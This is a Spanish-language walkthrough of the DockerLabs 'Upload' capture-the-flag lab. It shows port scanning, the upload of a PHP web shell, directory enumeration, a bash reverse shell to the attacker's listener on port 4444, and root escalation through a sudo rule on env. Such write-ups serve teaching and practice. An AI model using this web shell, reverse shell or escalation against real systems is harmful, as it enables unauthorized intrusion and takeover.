DockerLabs - Upload
nmap
1
2
3
4
┌──(elcybercurioso㉿kalilinux)-[~/Desktop/DockerLabs/Upload]
└─$ nmap -p- -sS --min-rate 5000 -v -n -Pn 172.17.0.2 -oG allPorts
PORT STATE SERVICE
80/tcp open http
1
2
3
4
5
6
┌──(elcybercurioso㉿kalilinux)-[~/Desktop/DockerLabs/Upload]
└─$ nmap -sCV -p80 172.17.0.2
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.52 ((Ubuntu))
|_http-server-header: Apache/2.4.52 (Ubuntu)
|_http-title: Upload here your file
análisis
Comenzamos revisando lo que contiene la pagina principal del puerto 80 del laboratorio, donde nos permiten subir un fichero:
acceso incial (www-data)
Tratamos de subir un fichero .php que, al pasarle el parámetro ?cmd, podemos indicar un comando, y si la configuración lo permite, se ejecutará:
1
2
3
4
5
┌──(elcybercurioso㉿kalilinux)-[~/Desktop/DockerLabs/Upload]
└─$ cat shell.php
<?php
system($_GET['cmd']);
?>
Vemos que no hay ningún filtro que nos impida la subida:
Ahora buscamos recursos donde puede haber guardado la aplicación nuestro script:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
┌──(elcybercurioso㉿kalilinux)-[~/Desktop/DockerLabs/Upload]
└─$ gobuster dir -u "http://172.17.0.2" -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 200 -x .txt,.html,.php
===============================================================
Gobuster v3.8
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://172.17.0.2
[+] Method: GET
[+] Threads: 200
[+] Wordlist: /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.8
[+] Extensions: txt,html,php
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/uploads (Status: 301) [Size: 310] [--> http://172.17.0.2/uploads/]
/index.html (Status: 200) [Size: 1361]
/upload.php (Status: 200) [Size: 1357]
Lo encontramos en la carpeta uploads, y vemos que podemos ejecutar comando sin ningún problema:
Teniendo esto claro, obtenemos una consola en la máquina con un payload básico de bash:
1
bash -c 'bash -i >%26 /dev/tcp/172.17.0.1/4444 0>%261'
Habiéndonos puesto en escucha antes de ejecutar el comando en la web, ahora deberíamos haber obtenido la consola:
1
2
3
4
5
6
7
┌──(elcybercurioso㉿kalilinux)-[~/Desktop/DockerLabs/Upload]
└─$ nc -nlvp 4444
listening on [any] 4444 ...
connect to [172.17.0.1] from (UNKNOWN) [172.17.0.2] 46406
www-data@54d9841b83ec:/var/www/html/uploads$ whoami
whoami
www-data
escalada de privilegios (root)
Revisamos los permisos SUDO del usuario www-data, y vemos que tiene asignado que puede ejecutar el binario /usr/bin/env como el usuario root:
1
2
3
4
5
6
7
8
www-data@54d9841b83ec:/var/www/html/uploads$ sudo -l
Matching Defaults entries for www-data on 54d9841b83ec:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin,
use_pty
User www-data may run the following commands on 54d9841b83ec:
(root) NOPASSWD: /usr/bin/env
En GTFOBins nos indican que para obtener acceso como el usuario root, podemos hacerlo de la siguiente manera:
Ejecutamos el comando que nos indican, y vemos que nos hemos convertido en root en la máquina víctima:
1
2
3
www-data@54d9841b83ec:/var/www/html/uploads$ sudo env /bin/sh
# whoami
root





